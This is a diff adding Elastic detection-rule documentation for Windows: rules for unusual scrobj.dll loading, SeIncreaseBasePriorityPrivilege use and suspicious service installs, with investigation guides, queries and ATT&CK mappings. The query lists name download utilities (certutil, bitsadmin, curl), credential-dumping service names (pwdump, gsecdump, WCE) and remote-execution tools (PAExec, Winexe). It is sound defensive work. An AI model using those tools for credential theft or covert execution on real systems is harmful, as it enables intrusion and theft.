"certutil.exe", "bitsadmin.exe", "certreq.exe", "wscript.exe", "cscript.exe", "curl.exe", + "ssh.exe", "scp.exe", "wevtutil.exe", "wget.exe", "wmic.exe") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-script-object-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-script-object-execution.asciidoc new file mode 100644 index 0000000000..3c00051254 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-script-object-execution.asciidoc @@ -0,0 +1,174 @@ +[[prebuilt-rule-8-19-34-suspicious-script-object-execution]] +=== Suspicious Script Object Execution + +Identifies scrobj.dll loaded into unusual Microsoft processes. This usually means a malicious scriptlet is being executed in the target process. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Threat: Script-Based Execution +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Script Object Execution* + + +The scrobj.dll is a legitimate Windows library used for executing scriptlets, often in automation tasks. However, adversaries can exploit it to run malicious scripts within trusted processes, evading detection. The detection rule identifies unusual loading of scrobj.dll in non-standard processes, flagging potential misuse. By excluding common executables, it focuses on anomalous activity, aiding in early threat detection. + + +*Possible investigation steps* + + +- Review the process executable path to confirm if it is indeed non-standard for loading scrobj.dll, as specified in the query. +- Check the parent process of the flagged executable to understand how it was initiated and assess if it aligns with typical behavior. +- Investigate the user account associated with the process execution to determine if it is a legitimate user or potentially compromised. +- Analyze recent activity on the host for any other suspicious behavior or anomalies that might correlate with the alert. +- Examine network connections from the host to identify any unusual or unauthorized external communications that could indicate malicious activity. +- Review historical data for similar alerts on the same host to identify patterns or repeated suspicious behavior. + + +*False positive analysis* + + +- Legitimate administrative scripts may trigger the rule if they are executed using non-standard processes. To handle this, identify and document regular administrative tasks that use scriptlets and exclude these specific processes from the rule. +- Custom enterprise applications that utilize scrobj.dll for legitimate automation purposes might be flagged. Review these applications and add them to the exclusion list if they are verified as safe. +- Scheduled tasks or maintenance scripts that load scrobj.dll in non-standard processes can cause false positives. Regularly audit scheduled tasks and exclude known safe processes from the detection rule. +- Development or testing environments where scriptlets are frequently used for automation may generate alerts. Consider creating a separate rule set for these environments to reduce noise while maintaining security monitoring. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further execution of potentially malicious scripts and lateral movement. +- Terminate any suspicious processes identified as loading scrobj.dll in non-standard executables to halt malicious activity. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious scripts or files. +- Review and restore any altered system configurations or settings to their default state to ensure system integrity. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. +- Implement application whitelisting to prevent unauthorized execution of scripts and binaries, focusing on the processes identified in the detection rule. +- Update detection mechanisms to monitor for similar activities across the network, ensuring that any future attempts to exploit scrobj.dll are promptly identified and addressed. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-7-setup[Sysmon Event ID 7 - Image Loaded] + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and + (event.category : ("library", "driver") or (event.category == "process" and event.action : "Image loaded*")) and + (?dll.name : "scrobj.dll" or ?file.name : "scrobj.dll") and + process.executable : ("?:\\Windows\\System32\\*.exe", "?:\\Windows\\SysWOW64\\*.exe") and + not process.executable : ( + "?:\\Windows\\System32\\cscript.exe", + "?:\\Windows\\SysWOW64\\cscript.exe", + "?:\\Windows\\system32\\msiexec.exe", + "?:\\Windows\\SysWOW64\\msiexec.exe", + "?:\\Windows\\System32\\smartscreen.exe", + "?:\\Windows\\system32\\taskhostw.exe", + "?:\\windows\\system32\\inetsrv\\w3wp.exe", + "?:\\windows\\SysWOW64\\inetsrv\\w3wp.exe", + "?:\\Windows\\system32\\wscript.exe", + "?:\\Windows\\SysWOW64\\wscript.exe", + "?:\\Windows\\System32\\mshta.exe", + "?:\\Windows\\system32\\mobsync.exe", + "?:\\Windows\\SysWOW64\\mobsync.exe", + "?:\\Windows\\System32\\cmd.exe", + "?:\\Windows\\SysWOW64\\cmd.exe", + "?:\\Windows\\System32\\OpenWith.exe", + "?:\\Windows\\System32\\wbem\\WMIADAP.exe", + "?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-seincreasebasepriorityprivilege-use.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-seincreasebasepriorityprivilege-use.asciidoc new file mode 100644 index 0000000000..fd051ebb39 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-seincreasebasepriorityprivilege-use.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-34-suspicious-seincreasebasepriorityprivilege-use]] +=== Suspicious SeIncreaseBasePriorityPrivilege Use + +Identifies attempts to use the SeIncreaseBasePriorityPrivilege privilege by an unusual process. This could be related to hijack execution flow of a process via threats priority manipulation. + +*Rule type*: query + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/Octoberfest7/ThreadCPUAssignment_POC/tree/main +* https://x.com/sixtyvividtails/status/1970721197617717483 +* https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4674 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious SeIncreaseBasePriorityPrivilege Use* + + + +*Possible investigation steps* + + +- What priority-change path did 4674 preserve? + - Why: this privilege manipulates process or thread priority; the target object matters as much as the requester. + - Focus: Security 4674 on `host.id`: `winlog.event_data.PrivilegeList`, `winlog.event_data.AccessMask`, `winlog.event_data.ProcessName`, `winlog.event_data.ObjectType`, and `winlog.event_data.ObjectName`. + - Hint: sparse or numeric-only `winlog.event_data.ObjectName` is the main visibility gap; keep the target unresolved and use same-session Security records, not assumed self-tuning. + - Implication: escalate when the object is a "Process" or "Thread" tied to security tooling, LSASS, or another user's workload; lower suspicion only when requester, object, and `host.name` fit bounded tuning or testing. + +- Is the requesting image path expected for priority control on this host? + - Focus: `winlog.event_data.ProcessName`, `winlog.event_data.ProcessId`, `winlog.event_data.SubjectUserSid`, `host.name`, and `@timestamp`. + - Hint: `winlog.event_data.ProcessId` is hexadecimal; use it only inside a tight host/time window; PID reuse can mislead. + - Implication: escalate when the path is user-writable, temporary, renamed, or unrelated to local tuning; treat a recurring full path and SID as identity support, not closure, until object and session evidence align. + +- Which subject and local session requested this privilege use? + - Focus: `winlog.event_data.SubjectUserSid`, `winlog.event_data.SubjectUserName`, `winlog.event_data.SubjectDomainName`, and `winlog.event_data.SubjectLogonId`. + - Implication: escalate when a normal user, rare admin, machine account, or service account lacks a clear scheduling-priority role; matching SID, domain, and session support benignity only with matching requester and object evidence. + +- Does the 4624 session origin fit a priority-tuning operator? + - Focus: on the same `host.id`, match alert `winlog.event_data.SubjectLogonId` to 4624 `winlog.event_data.TargetLogonId`, then read `source.ip`, `winlog.logon.type`, and `winlog.event_data.AuthenticationPackageName`. + - Hint: query `event.code` 4624 with alert `host.id` and `winlog.event_data.TargetLogonId`; search backward from `@timestamp` because the session can predate 4674. !{investigate{"description":"","label":"Linked logon for the priority-change session","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} Missing 4624 or empty `source.ip` is unresolved, not benign. + - Implication: escalate when source, logon type, or authentication method is rare for `host.name` or subject SID; matching origin supports authorized tuning only after requester path and target object fit. + +- Do surrounding Security records show repeated or multi-target priority use by the same requester? + - Focus: Security events around `@timestamp` on the same `host.id`, grouped by `winlog.event_data.SubjectLogonId`, `winlog.event_data.ProcessId`, `winlog.event_data.ProcessName`, and `winlog.event_data.ObjectName`. + - Hint: start in the alert window with `event.code` 4674 and alert `winlog.event_data.SubjectLogonId`; expand only if the same session continues around `@timestamp`. Add `event.outcome` to separate failed attempts from successful use. !{investigate{"description":"","label":"4674 priority-use events from this requester session","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4674","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.ProcessId","queryType":"phrase","value":"{{winlog.event_data.ProcessId}}","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4674","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.ProcessName","queryType":"phrase","value":"{{winlog.event_data.ProcessName}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when one session or requester touches multiple process/thread objects, repeats against security targets, or continues after failures; a single 4674 keeps scope local but still requires requester, object, and session answers for closure. + +- If local evidence is suspicious or unresolved, do related alerts expand scope or urgency? + - Focus: related alerts for the same `host.id`, prioritizing privilege abuse, defense evasion, security-tool interference, service-control, or authentication findings. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if the subject remains suspicious, use the subject pivot; use the `user.id` provider only after confirming it maps to `winlog.event_data.SubjectUserSid`. !{investigate{"description":"","label":"Alerts associated with the subject","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectUserSid","queryType":"phrase","value":"{{winlog.event_data.SubjectUserSid}}","valueType":"string"}],[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the host or user also shows privilege escalation, defense evasion, or unusual authentication; keep scope local when related alerts are absent and 4674/session evidence supports bounded work. + +- Escalate for unauthorized process/thread priority manipulation or security-tool interference; close only when object, requester, subject, session, and related alerts bind to one authorized tuning or troubleshooting workflow; preserve 4674 and recovered 4624 evidence and escalate when sparse object or session evidence leaves suspicious findings unresolved. + + +*False positive analysis* + + +- Performance engineering, benchmark, QA, vendor, or internal support work can trigger when an administrator adjusts scheduling priority or CPU assignment for a test or latency-sensitive workload. Confirm only when `winlog.event_data.ProcessName`, `winlog.event_data.ObjectType`, `winlog.event_data.ObjectName`, `winlog.event_data.SubjectUserSid`, recovered `source.ip`, and `winlog.logon.type` align with the same recognized host, accounts, and workload. If records are unavailable, require telemetry-only recurrence of the same full requester path, SID, object family, and host class before treating as benign. +- If the target object is sparse or numeric-only, do not close solely on tool name or user claim. +- Before creating an exception, validate that `winlog.event_data.ProcessName`, `winlog.event_data.ObjectType`, `winlog.event_data.ObjectName`, `winlog.event_data.SubjectUserSid`, `host.id`, and recovered `source.ip` or `winlog.logon.type` stay stable across known-benign occurrences. Build the exception from that minimum confirmed pattern; avoid exceptions on `winlog.event_data.PrivilegeList` or `user.name` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the validated `winlog.event_data.ProcessName`, `winlog.event_data.ObjectType`, `winlog.event_data.ObjectName`, `winlog.event_data.SubjectUserSid`, recovered `source.ip`, `winlog.logon.type`, and `host.id` values proving the tuning or troubleshooting workflow. Create an exception only after the same pattern repeats benignly. +- If suspicious but unconfirmed, preserve a case export of triggering 4674, recovered 4624 session record, surrounding same-session Security records, and related-alert links before containment. Record requester path and PID, subject SID, target object, session origin, and event time as case anchors. +- If suspicious but unconfirmed, apply reversible containment first, such as restricting the subject's remote access, pausing the support workflow, or raising monitoring on `host.id`. Escalate to host isolation or account disablement only if the target maps to a security-critical process, related alerts show additional privilege abuse or defense evasion, or the recovered session suggests credential misuse. +- If confirmed malicious, isolate the host when the object, requester, session, or related-alert evidence shows unauthorized priority manipulation of a security-critical process or another user's workload. Record the requester path and PID, subject SID, target object, recovered session origin, and event time before stopping processes or deleting tooling. +- Reset or suspend the implicated account only when the recovered session and related alerts show likely credential misuse, and review other hosts for the same `winlog.event_data.ProcessName`, `winlog.event_data.ObjectName`, or `winlog.event_data.SubjectUserSid` before eradicating artifacts so scoping finishes before evidence is destroyed. +- Eradicate only the unauthorized tuning or interference tooling and any persistence or launcher artifacts identified during the investigation, then restore affected security or service configurations to a known-good state. +- Hardening: restrict assignment of "SeIncreaseBasePriorityPrivilege" to the smallest admin cohort, retain Security 4674 and 4624 visibility, and record visibility gaps that limited the case decision. + + +==== Setup + + + +*Setup* + + +Audit Sensitive Privilege Use must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-sensitive-privilege-use + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:iam and host.os.type:"windows" and event.code:"4674" and +winlog.event_data.PrivilegeList:"SeIncreaseBasePriorityPrivilege" and event.outcome:"success" and +winlog.event_data.AccessMask:"512" and not winlog.event_data.SubjectUserSid:("S-1-5-18" or "S-1-5-19" or "S-1-5-20") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-service-was-installed-in-the-system.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-service-was-installed-in-the-system.asciidoc new file mode 100644 index 0000000000..b1838f1de5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-service-was-installed-in-the-system.asciidoc @@ -0,0 +1,208 @@ +[[prebuilt-rule-8-19-34-suspicious-service-was-installed-in-the-system]] +=== Suspicious Service was Installed in the System + +Identifies the creation of a new Windows service with a suspicious service name or command value. Windows services typically run as SYSTEM and can be used for privilege escalation and persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-system.system* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Windows Security Event Logs +* Data Source: Windows System Event Logs +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Ransomware +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 119 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Service was Installed in the System* + + + +*Possible investigation steps* + + +- What exact service creation event and matched artifact caused the alert? + Focus: `event.code`, `host.name`, `winlog.event_data.ServiceName`, `winlog.event_data.ServiceFileName`, `winlog.event_data.ImagePath`. + Implication: Event `4697` uses `winlog.event_data.ServiceFileName`; event `7045` uses `winlog.event_data.ImagePath`. Treat malware or credential-dump service names such as `mssecsvc2.0`, `WCESERVICE*`, `WCE SERVICE*`, `pwdump*`, `gsecdump*`, or `cachedump*`, or a command containing PAExec, Winexe, DumpSvc, PowerShell, command shell, admin share, user-writable, or service-control utility traits, as suspicious unless the exact host, service name, command, and alert time map to a validated change record or verified owner confirmation. + Review matching service events with !{investigate{"description":"","label":"Matched service on host","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.ServiceName","queryType":"phrase","value":"{{winlog.event_data.ServiceName}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4697","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.ServiceName","queryType":"phrase","value":"{{winlog.event_data.ServiceName}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"7045","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + +- Do the installing account and service account explain this specific service creation? + Focus: `event.code`, `user.name`, `user.domain`, `winlog.logon.id`, `winlog.event_data.ServiceAccount` for event `4697`, and `winlog.event_data.AccountName` for event `7045`. + Implication: Event `4697` can identify the installing account and logon session and records the service account in `winlog.event_data.ServiceAccount`. Event `7045` records the service account in `winlog.event_data.AccountName`, but identifying the installer may require recovery of a matching Security event or surrounding service-control and process telemetry. Escalate if the recovered installer identity cannot be tied to the exact service install, if the service runs as a privileged or unexpected account, or if the account context conflicts with the claimed workflow. A benign branch requires recovered evidence that the same account created this same service during a validated maintenance or deployment window on this host. Missing Security or corroborating telemetry remains unresolved. + Search recent service install events on the matched host with !{investigate{"description":"","label":"Recent service installs on host","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4697","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"7045","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + +- Does the live host still show the same service configuration and referenced artifact? + Focus: On the matched `host.id` or `host.name`, retrieve the current service by exact `winlog.event_data.ServiceName` with `sc.exe qc`, `sc.exe queryex`, or `Get-CimInstance Win32_Service -Filter Name=''`; record the service path, account, status, and start context, then inspect the referenced executable or script on disk when it is still present. + Implication: Live service configuration can confirm current path, account, status, and start context, but configuration alone does not prove the service command executed. Escalate when the current service or referenced artifact supports persistence, or when process telemetry, service-control logs, or other execution events show the service command ran. If live-host retrieval or artifact inspection is unavailable, the unavailable live-host evidence remains unresolved. A benign branch requires the live or recovered service state to match the exact expected service lifecycle, such as a short-lived remote support service removed after the named deployment task, without extra commands or altered paths. + +- Are there corroborating process, file, registry, or authentication events on the same host around the service installation? + Focus: `host.id`, `winlog.event_data.ServiceName`, `winlog.event_data.ServiceAccount` for event `4697`, `winlog.event_data.AccountName` for event `7045`, `user.name`, and `winlog.record_id`. + Implication: Process, file, registry, and service-control telemetry are supporting sources and may be absent from the final alert; recover them manually by host and time before drawing conclusions. Escalate if recovered events show the service launching shell, LOLBin, credential-dumping, or user-writable path payloads. If those supporting sources are missing, keep the case unresolved instead of treating absence as benign. + +- If local evidence is suspicious or unresolved, has the same service name appeared on other hosts? + Focus: `winlog.event_data.ServiceName`, `host.name`, `winlog.event_data.ServiceFileName`, `winlog.event_data.ImagePath`, `user.name`. + Implication: Use this only after the local service and artifact checks above. Reuse across hosts supports a lateral movement, remote administration, or shared deployment hypothesis; scope containment and account review to matching hosts when the service name or installer context is suspicious. A benign branch requires recovered events on the additional hosts to share the same deployment window, installing account when available, and exact service command for one validated change record. Absence of related alerts does not prove benign. + Pivot on the service name across hosts with !{investigate{"description":"","label":"Same service name across hosts","providers":[[{"excluded":false,"field":"winlog.event_data.ServiceName","queryType":"phrase","value":"{{winlog.event_data.ServiceName}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4697","valueType":"string"}],[{"excluded":false,"field":"winlog.event_data.ServiceName","queryType":"phrase","value":"{{winlog.event_data.ServiceName}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"7045","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + +Disposition: Escalate suspicious service commands, mismatched installer or service-account context, persistent live service state, or repeated hosts; close only when alert-local fields plus recovered service and host evidence prove the exact expected workflow; preserve and escalate mixed or incomplete cases for more context before final disposition. + + +*False positive analysis* + + +- Remote administration and deployment tools such as PAExec, RemCom, and Winexe can create temporary services that match the suspicious service-name or command patterns. Close only when the recovered `winlog.event_data.ServiceName`, command field, installing account, target host, and timing all match one validated maintenance or deployment action. +- PowerShell, `pwsh.exe`, `cmd.exe`, `rundll32`, `regsvr32`, `msbuild`, `bitsadmin`, `certutil`, or `vssadmin` in a service command should remain suspicious until the referenced script or command content, service account, and owner confirmation explain the exact alert artifact on this host. +- Scope exceptions to durable alert fields. For event `4697`, use exact `winlog.event_data.ServiceName` and `winlog.event_data.ServiceFileName`; for event `7045`, use exact `winlog.event_data.ServiceName` and `winlog.event_data.ImagePath`. Add `host.id` or `host.name`, plus `user.name` and `user.domain`, when those fields repeat in the validated benign pattern. + + +*Response and remediation* + + +- Collect and preserve case evidence, export the alert and matched service event, and preserve volatile process, memory, executable, script, service configuration, and file-system artifacts that could be lost before isolation, process termination, service removal, cleanup, or other disruptive action. +- Review recovered evidence and scope affected hosts/accounts by service name, service command, installing account, target host, and related authentication before containment decisions. +- If malicious service execution is confirmed, use the endpoint response integration as the preferred path to isolate affected hosts, and disable exposed accounts as reversible containment while retaining evidence. When direct response is unavailable, document handoff to the responsible incident-response or endpoint-operations owner for host isolation and to the identity owner for account containment. +- After scoping and preservation, stop malicious service processes if running, remove the malicious service or persistence entry, quarantine associated executable or script files, and run an antimalware scan. +- Reset or rotate credentials for accounts that installed, ran, or were accessed by the malicious service after credential exposure review. +- Record confirmed service names, commands, recovered file hashes, installing accounts, affected hosts, and telemetry or detection gaps for responsible detection and logging owners after scoping and containment. + + +==== Setup + + + +*Setup* + + +Audit Security System Extension must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-security-system-extension + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and +( + ( + event.code : "4697" and + ( + ( + ( + winlog.event_data.ServiceFileName : ( + "*COMSPEC*", "*\\127.0.0.1*", "*Admin$*", "*powershell*", "*rundll32*", "*cmd.exe*", + "*echo*", "*RemComSvc*", "*.bat*", "*.cmd*", "*certutil*", "*vssadmin*", "*certmgr*", "*bitsadmin*", + "*\\Users\\*", "*\\Windows\\Tasks\\*", "*\\PerfLogs\\*", "*\\Windows\\Debug\\*", + "*regsvr32*", "*msbuild*", "*winexesvc.exe*", "*DumpSvc.exe*", "*pwsh.exe*", "*PAExec*" + ) or + winlog.event_data.ServiceFileName regex~ """%systemroot%\\[a-z0-9]+\.exe""" + ) and + not winlog.event_data.ServiceFileName: ( + "%SystemRoot%\\PSEXESVC.exe", "%SystemRoot%\\\\RemComSvc.exe", + "%SystemRoot%\\pbpsdeploy.exe", "%SystemRoot%\\system32\\RemComSvc.exe", + "\"C:\\Program Files\\Common Files\\Zoom\\Support\\CptService.exe*", + "\"C:\\Program Files\\Common Files\\ZoomVDIPluginManagement\\Support\\CptService.exe*", + "\"C:\\Program Files (x86)\\CheckPoint\\Endpoint Security\\EFR\\host\\cpsechost.exe\" service" + ) + ) or + winlog.event_data.ServiceName : ( + "mssecsvc2.0", "WCESERVICE*", "WCE SERVICE*", "pwdump*", "gsecdump*", "cachedump*" + ) + ) + ) or + ( + event.code : "7045" and + ( + ( + winlog.event_data.ImagePath : ( + "*COMSPEC*", "*\\127.0.0.1*", "*Admin$*", "*powershell*", "*rundll32*", "*cmd.exe*", + "*echo*", "*.bat*", "*.cmd*", "*certutil*", "*vssadmin*", "*certmgr*", "*bitsadmin*", + "*\\Users\\*", "*\\Windows\\Tasks\\*", "*\\PerfLogs\\*", "*\\Windows\\Debug\\*", + "*regsvr32*", "*msbuild*", "*winexesvc.exe*", "*DumpSvc.exe*", "*pwsh.exe*", "*PAExec*" + ) and + not winlog.event_data.ImagePath : ( + "%SystemRoot%\\PSEXESVC.exe", "%SystemRoot%\\\\RemComSvc.exe", + "%SystemRoot%\\pbpsdeploy.exe", "%SystemRoot%\\system32\\RemComSvc.exe", + "\"C:\\Program Files\\Common Files\\Zoom\\Support\\CptService.exe*", + "\"C:\\Program Files\\Common Files\\ZoomVDIPluginManagement\\Support\\CptService.exe*", + "\"C:\\Program Files (x86)\\CheckPoint\\Endpoint Security\\EFR\\host\\cpsechost.exe\" service" + ) + ) or + winlog.event_data.ServiceName : ( + "mssecsvc2.0", "WCESERVICE*", "WCE SERVICE*", "pwdump*", "gsecdump*", "cachedump*" + ) + ) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: 